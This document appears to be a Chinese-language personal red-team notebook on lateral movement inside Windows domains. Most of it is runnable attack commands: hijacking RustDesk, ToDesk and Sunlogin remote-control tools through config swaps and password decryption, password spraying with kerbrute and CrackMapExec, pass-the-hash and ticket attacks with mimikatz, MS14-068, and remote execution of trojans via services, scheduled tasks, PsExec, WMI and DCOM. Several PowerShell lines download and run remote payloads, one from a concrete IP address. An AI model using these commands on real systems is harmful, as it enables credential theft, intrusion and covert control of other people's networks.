横向移动
发现了内网渗透的狠资料,很强
https://xz.aliyun.com/t/15367#toc-9
上线远控工具,可以直接通过RDP等服务连接其他电脑。
RustDESK
上传到目标靶机上,运行。找到RustDesk.toml
1 | C:\Users\用户名\AppData\Roaming\RustDesk\config |
下载到本地后进行添加密码,密码为6位
然后上传替换即可
GoToHTTP(要钱)
使用B2C模式。只需要在被控端下载即可,使用浏览器远控对面
上传到靶机,运行后直接查看同目录下的config.ini,能发现明文账号密码
todesk篇(会被报警,因为用的太多了)
类向日葵远控工具。
由于官方自己提供了静默安装,所以任意新版本都行
1 | shell ToDesk.exe /S |
然后就是寻找账号密码,然后进行远控即可
1 | shell type C:\"Program Files (x86)"\ToDesk\config.ini |
查看tempAuthPassEx的加密值进行解密即是密码,或者说将其进行覆盖。
使用本地的todesk的config.ini文件替换目标机器的config.ini即可
这个是设备识别码
这个是临时密码
将本地的这个config.ini上传到目标机器覆盖掉它的config.ini,重启进程即可
向日葵篇(漏洞已失效,但是可以进行文件替换)
1 | C:\ProgramData\Oray\SunloginClient\config.ini |
使用向日葵绿色版进行运行,会在注册表中添加数值
1 | HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient |
通过提前输入向注册表中写入数值,即可绕过弹出页面框,直接进行控制
11.reg:
1 | Windows Registry Editor Version 5.00 |
运行11.reg即可
1 | regedit -s 11.reg 注册注册表 |
可以通过运行向日葵后截图进行查看密码,但是会有需要点击向日葵页面才能让那个验证码出来
所以这里会有一个方法将那个验证码不需要点击就能查看
1 | shell type C:\ProgramData\Oray\SunloginClient\config.ini |
如果不在config.ini中就在sys_config.ini中
向日葵识别码解密使用脚本即可解密
Sunflower.zip
暂时无法在飞书文档外展示此内容
运行SunDecrypt.py即可
计划任务横向移动(环境可能只有老电脑能跑)
比如只有windows server 2008
IPC(Internet ProcessConnection)共享”命名管道”的资源。是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过IPC$,可以与目标机器建立连接。不仅可以访问目标机器中的文件,进行上传、下载等操作。还可以在上面运行其他命令,获取目标机器的目录结构、用户列表等信息
利用条件
1 | 1.开启了139、445端口 |
首先建立一个IPC$
1 | net use \\192.168.41.30\ipc$"密码" /user:administrator |
利用方式-windows自带命令
然后可能会有权限问题,需要过uac认证
https://www.freebuf.com/articles/network/332619.html
1 | dir命令 |
系统服务横向移动
先建立IPC连接
1 | net use \\xxx.xxx.xxx.xxx\ipc$ "admin@123" /user:administrator |
将木马上传
1 | copy C:\xxx.exe \\xxx.xxx.xxx.xxx\c$ |
创建服务
1 | sc \\xxx.xxx.xxx.xxx create 服务名称 binpath="cmd.exe /c c:\xxx.exe" |
这里/c就是执行完命令后关闭窗口
启动服务
1 | sc \\xxx.xxx.xxx.xxx start 服务名称 |
服务隐藏()/服务伪装()
Password Spraying密码喷洒攻击和域内用户枚举(枚举用户)
原理:
Kerberos本身是一种基于身份认证的协议,在kerberos协议认证的第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这一点,对有域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以根据AS的返回包来对域用户进行枚举.
密码喷洒用一个密码去碰撞很多账号,以避免账号被锁定的问题
条件
但当我们用非域内用户时,是不能直接通过这个来命令来查询的。当主机不在域内但是可以域内通信的时候或者在域内但是不是域账户的登录的时候。我们可以采用域控通信进行枚举。
下面的工具可参考
工具
kerbrute工具(用的最多)
1 | kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt |
暂时无法在飞书文档外展示此内容
1 | kerbrute.exe passwordspray -d 域名 用户名字典 指定的密码 |
CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec
密码喷洒,然后进行流量代理
1 | crackmapexec smb 域名 -u 用户名字典 -p 指定的密码 --continue-on-success |
DomainPasswordSpray.ps1
必须是域用户或者是system才行,虽然是system本来就算域用户
1 | Import-Module DomainPasswordSpray.ps1 导入 |
暂时无法在飞书文档外展示此内容
其他的命令可以去搜一下,在这里可能需要加上-Force进行强制执行,否则无法成功执行
如果想在cs中无文件落地进行执行的话
1 | shell powershell.exe -exec bypass -command "&{import-module 在本地的文件地址;执行的命令,比如说Invoke-DomainPasswordSpray -UserList 1.txt -Domain xxx.com -Password 指定的密码 -OutFile xxx.txt}" |
远程执行
1 | shell powershell ‐exec bypass ‐c IEX (New‐ObjectSystem.Net.Webclient).DownloadString('http://xxx.xxx.xxx.xxx:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts xxx.xxx.xxx.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt |
PTH(Pass the Hash)哈希传递(重要)
深度好文:
https://xz.aliyun.com/t/8117?time__1311=n4%2BxnD0Dc7GQDtfK0KDsA3xCq%3DErTDgQcApoD
测试环境:
1 | windows server2008 |
将抓取到的NTLM Hash值进行传递。将域管的NTLM Hash传递给另外的机器,进行登录
哈希传递前提:
1 | 有管理员的NTLM Hash,并且目标机器开放445端口,并且,两台机器的administrator用户账号密码相同 |
在工作组环境中:
Windows vista之前的机器,可以使用本地管理员组内进行攻击
Windows vista之后的机器,只能是使用administrator用户的hash才能进行hash传递攻击
在域环境中:
只有管理员组内用户(可以是域管理员组内不是administrator用户)的hash才能进行hash传递攻击,攻击成功后,可以访问域内任意一台同密码机器
方法一
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:xxx.com /ntlm:xxxxxxxxxxxxxxx" |
这里输入完之后是会弹出一个框的,在该弹框中输入内容比如说访问被控的机器是可以的,但是如果是自己手动去开一个窗口,在那里会显示未知的窗口
创建计划任务
1 | schtasks /create /s 192.168.41.20 /tn test1 /sc onstart /tr c:\wanli.exe /ru system /f |
启动计划任务
1 | schtasks /run /s 192.168.41.20 /i /tn "test1" |
方法二
直接在需要攻击进的域内机器右键运行psexec_psh即可
选中然后修改domain、执行会话。就可以自动攻击
psexec_psh的使用可以学习下面这个文章
https://blog.csdn.net/qq_44874645/article/details/121394678
Pass the Key(PTK)密钥传递攻击
WinXP/2003/Vista/2008,以及未打补丁之前的Win7/2008r2/8/2012这些可以进行NTLM Hash传递,因为可以抓到NTLM明文
只有在windows8.1/2012r2,或者打了补丁的才能复现PTK
KB2871997
禁止本地管理员用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享
在补丁之后常规的PassTheHash无法成功,唯独默认的Administrator(SID500)账号除外,这个账号依旧可以进行PassTheHash远程连接,即使修改了名字,只需要这个SID500存在即可。
但是这个补丁能力不强。已经拿到机器了,拿Administrator很轻松,只能减少存储在内存中的凭证数据,也就是让wdigest协议认证的凭证不会存储在lsass.exe,使得我们抓取明文密码的时候无法成功
除此之外还可以使用AES密钥进行替代NTLM验证进行横向操作。
操作:
在被控的机器上抓取key
1 | mimikatz sekurlsa::ekeys |
查看到域管的aes256_hmac值,将其进行传递
1 | sekurlsa::pth /user:administrator /domain:xxxx.com /aes256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
即可
然后需要注意的是,由于传递的是域控的aes256值,虽然可以访问任意机器,但是不能使用ip进行访问,只能使用域名进行访问
比如说
1 | dir \\DC.xxx-1.com\C$ |
就行了
Pass The Ticket(PTT)票据传递攻击(维权用的)
就是黄金票据和白银票据,看前面的就行
手动
1 | mimikatz.exe "privilege::debug" "sekurlsa::kickets /export" //把所有的票据进行导出 |
高权限的票据文件注入内存
1 | mimikatz kerberos::ptt pttxxxxxx |
上线
1 | net use \\dc.xxx.com |
用CS
直接用就行
把ntlm hash 和sid传进去就行
MS14-068
非常牛,不需要再去找到域管理的NTLM Hash、ase256值之类的,直接将普通用户变成域管
原理:
在server2000以上的域控服务器中,通过伪造域管的TGT将普通用户权限提升为域管权限,以此来控制域控。只要服务器没有打漏洞ms14-068的补丁(KB3011780),都可以进行利用
MS14-068利用条件
1 | 获取域普通用户账号密码 |
环境windows server2008
查看域用户的SID
1 | whoami /all |
清除内存中的票据
1 | klist purge |
生成凭证
1 | ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控 |
导入票据
1 | kerberos::ptc 票据名字 |
执行命令
1 | dir \\dc.xxx.com\C$ //不能用ip,得用机器名 |
建立网络连接
1 | net use \\dc.xxx.com |
复制恶意文件
1 | copy xxx.exe \\dc.xxx.com |
添加计划任务
1 | schtasks /create /s dc.xxx.com /tn test /sc onstart /tr xxx.exe /ru system /f |
启动计划任务
1 | schtasks /run /s dc.xxx.com /i /tn "test" |
即可上线
goldenPac.exe
1 | goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名 |
票据传递一键利用工具
PsExec工具远程命令执行横向移动(老了,被杀软盯死了,而且日志太多)
PsExec介绍
是windows下非常好的一款远程命令行工具。类似于RDP的平替。psexec的使用不需要对方开放3389,只需要对方开启了admin和IPC(默认开启),比如我电脑上
还需要开启了445端口。如果防火墙关闭了445端口,则会提示网络路径找不着。由于psexec是windows自带的工具,所以杀软将其放在白名单中
下载地址https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PsExec使用条件
1.具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2.能建立IPC链接(也就是需要通过smb认证),并且目标机器开启了共享(默认开启),并且目标中必须要有admin$共享
PsExec常用参数
1 | psexec \\ip -u administrator -p admin cmd 进入半交互式shell |
返回交互式的shell或者执行命令
1 | psexec.exe -accepteula \\192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程到桌面CS) |
net use \192.168.41.20\c$ admin@123 /user:administor
建立IPC链接,就能在后续的操作中不再输入账号密码
删除建立的ipc链接
Net use * /del /y
通过这种方式能传票据获取到访问权限,然后通过copy命令进行传木马,然后再在这里进行执行。
或者直接用CS里面集成好的就行
或者说使用票据传递
导出票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
清除票据
1 | klist purge |
票据注入
1 | mimikatz kerberos::ptt [0;998d7]-x-x-xxxxxx-Administrator@krbtht-HACK.COMkirbi |
查看是否有票
1 | klist |
上传文件
1 | copy C:\xxx\xxx\desktop\xxxx.exe \\dc.xxx.xxx\C$ |
运行
1 | PsExec.exe -accepteula \\dc.xxx.com -h -d C:\xxxx.exe |
如果有账号密码直接IPC链接
如果有凭证就pth
如果有票据就ptt
WMIC远程执行命令横向移动(无日志,极好用)
WMI是在powershell没发布前,微软用来管理windows系统的数据库工具。wmi本身是数据库架构,使用dcom或者winrm协议,自从psexec在内网中被严格监控后,更多使用wmiexec进行横向,windows系统默认不会讲wmi操作记录在日志中,又转换成使用wmic
wmic拓展wmi(windows management instrumentation,windows管理规范),即wmic.exe,提供了命令行接口和批处理脚本执行系统管理的支持,
但是啊但是,wmic只有本地管理员或者域管才能正常使用,如果普通权限用户想用wmi,需要修改普通用户的acl,不过修改用户的acl也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行
1 | wmic logon list brief 登录用户 |
错误代码含义以及解决方法
1 | 0x800706ba RPC服务器不可用 开启防火墙,允许共享例外 |
wmic调用cmd
需要管理员权限
1 | 执行命令并且输出 |
利用powershell上线
利用cs生成powershell脚本,到服务器,然后用上面最后一句运行即可
wmiexec工具(会被windows defender挡)
wmiexec是一个由全交互和半交互的远程命令执行工具,由python版本的pe版本可运行多种环境,包括webshell环境,rdp环境、socks环境等。和wmic一样的,优点是不写入磁盘,不留下系统日志,但是啊但是会有很多网络流量传递
1 | wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell |
wmiexec.vbs
脚本调用wmi来模拟PsExec的功能,在远程中执行命令并进行回显,获取远程主机的半交互式的shell,wmiexec.vbs支持半交互shell模式,另一种是执行单条命令模式
1 | cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令" |
Invoke-WMIExec
是一个powershell脚本在invoke-TheHash的文件中用法如下
1 | Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" -verbose |
采用无文件落地方式进行横向
1 | shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('xxxxxx');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target xxx.xxx.xxx.xxx 0Username administrator -Hash xxxxxxxxxxxxxxxxxxxxx -Command "whoami" -verbose |
本地执行
导入脚本
1 | powershell-import powershell/Invoke-WMIExec.ps1 |
运行上线命令
1 | powershell Invoke-WMIExec -Target xxx.xxx.xxx.xxx -Username administrator -Hash xxxxxxxxxxxxxxxxx -Command "powershell.exe -nop -w hidden -c IEX ((new-objectnet.webclient).downloadstring('xxxxxx'))" -verbose |
Invoke-WMIMethod.ps1
为powershell的内置模块,可以使用自由组合的命令进行测试
1 | $User #目标系统用户名 |
SMB远程代码执行(不能在cs里面用,得拿到机器才能用)
smbexec使用
smbexec是impacket工具中的工具,操作简单,容易被杀,使用无需先进行ipc链接
由于它在域控制里面经常用到,所以一般来说不会被禁用
1 | smbexec -hashes :$HASH$ ./admin@xxx.xxx.xxx.xxx |
DCOM远程命令横向移动
DCOM介绍
DCOM是微软的一系列概念和程序接口,支持不同机器上的组件间相互通信,不论是运行在局域网、广域网、还是internet上,利用这个接口,客户端对象能向网络中另一台积极去上的服务器程序对象发送请求,使用
域管的administrator账户或者目标主机具有主机的管理员账户
windows自带
通过powershell与dcom进行远程交互,另外我们需要提供一个dcom progid和一个ip地址,然后就能远程返回一个com对象的实例
1 | $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","11.111.111.111")) |
执行命令,能调用executeshellcommand方法在远程主机上启动进程
1 | $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shell.exe","Minimzed") |
将ip和命令更换即可
shellwindows远程命令执行
这里的值是COM 对象的类标识符,这个值是通过查找和CLSID关联代码并创建类对象获取的
相关文章:https://www.exploit-db.com/docs/48767
1 | [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0) 打开本地计算器 |
Shellbrowserwindow
1 | [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-objectnet.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:windowssystem32",$null,0) |
Excel.Application
装有excle
通过powershell与dcom进行远程交互,创建excel.application对象的实例
1 | $com = |
执行后面的命令,调用执行该对象在”DDElnitiate”方法在远程主机上启动进程
1 | $com.DDEInitiate("cmd.exe","/c 参数") |
Visio.Application远程代码执行
1 | [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:shell.exe") |
Outlook.Application远程
1 | [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe") |
WinRM远程执行命令
WinRM(windows远程管理)是microsoft在windows中对ws-management的实现,将通用网络访问或交换管理信息。利用脚本或内置的命令行工具,winrm可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于windows的计算机(包括winrm)
winrm默认端口为5985或5986,若配置了winrm远程,当我们拿到管理员账号,可以用远程连接进行命令执行操作
配置winrm,可以参考https://blog.csdn.net/qq_23663693/article/details/121654390
1 | winrs -r:http://xxx.xxx.xxx.xxx:xxxx -u administrator -p:xxxxx "whoami" |
如果出现例如客户端无法处理该请求,则输入 winrm set winrm/config/Client @{TrustedHosts=”*”}
ms17-010
使用cs生成bin文件
使用msf把bin文件变成dll文件,或者直接生成也行
1 | msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o wanli111.dll |